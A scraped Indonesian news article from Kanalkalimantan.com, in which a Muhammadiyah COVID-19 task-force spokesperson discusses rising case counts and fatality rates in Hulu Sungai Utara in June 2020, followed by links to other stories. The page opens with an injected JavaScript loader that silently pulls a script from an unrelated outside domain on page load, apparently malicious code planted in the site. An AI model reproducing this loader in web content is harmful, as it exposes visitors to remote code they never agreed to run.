(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Koordinator humas dan publikasi Muhammadiyah Covid-19 Command Center (MCCC) Kabupaten Hulu Sungai Utara (HSU) Junaidi SKM mengaku prihatin. Di tengah keprihatinan ia juga optimis atas temuan kasus positif Covid-19 di Kabupaten HSU yang kian meningkat itu.
Dikatakan Junaidi kepada Kanalkalimantan.com, beradasarkan update data Dinas Kesehatan Kesehatan Kabupaten Hulu Sungai Utara per 10 Juni 2020, Pukul 16.00 Wita penambahan kasus positif harian mencapai 29 orang atau menjadi yang tertinggi selama ini. Sehingga secara total jumlah kasus positif di Kabupaten Hulu Sungai Utara mencapai 55 orang.
Berdasarkan data tersebut, Junaidi menjelaskan, berdasarkan perspektif kajian kesehatan masyarakat semakin tinggi temuan kasus positif justru semakin baik.
“Artinya semakin masif petugas melakukan tracking dalam mendapatkan kontak suspect dan kemudian dilakukan test sehingga mendapatkan kasus Covid-19 positif,” ujar Junaidi.
Pemerhati kesehatan masyarakat ini menyebut perlu disadari bersama masih banyak di luar sana yang berpotensi terpapar Covid-19. Ada 2.746 warga Amuntai berisko terpapar virus corona dan potensial sebagai penular Covid-19.
“Namun itu bersangkutan tidak menyadari dan masih berinteraksi seolah tidak terjadi apa-apa, setidaknya masih berinteraksi dengan anak, istri, keluarga,” katanya.
Lebih jauh, ia menyebut tidak menutup kemungkinan akan terjadi penambahan kasus positif melihat saat ini rapid test hanya hanya dilakukan pada ASN, pegawai rumah sakit dan Puskesmas, serta yang pernah melakukan kontak dengan pasien positif.
“Jika dilakukan rapid test acak di tempat-tempat berisiko seperti di pasar, pasti akan terjadi peningkatan kasus yang drastis,” bebernya
Lebih jauh, dikatakanya, di Hulu Sungai Utara, angka Case fatality Rate (CFR) alias angka kematian yakni 1,82 persen.
“Masih tergolong rendah jika dibandingkan dengan CFR Indonesia yakni 5,8 persen dan CFR Kalimantan Selatan 6,96 persen,” sebutnya.
Namun Junaidi mengaku optimis, hal ini akan lebih baik lagi jika dilakukan tracing, tracking dan rapid test massal, semakin masif tes dilakukan, maka semakin berhasil mengungkap kasus.
“Persepsi masyarakat kita menjadi sebuah permasalahan, banyak yang beranggapan semakin banyak ditemukan kasus positif maka gagal pemerintahan. Maka perlu kita bersama mengubah persepsi yang keliru ini,” jelasnya.
“Harusnya kita menilai semakin ditemukan kasus positif semakin bagus untuk secepatnya dilakukan perawatan dan pencegahan penyebaran Covid-19,” sambung Junaidi.
Saat ini, paling penting bersama mencegah Covid-19 untuk diri sendiri, orang terdekat, dan keluarga dengan mematuhi anjuran-anjuran kesehatan dan sesuai dengan protokol kesehatan. (kanalkalimantan.com/dew)
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.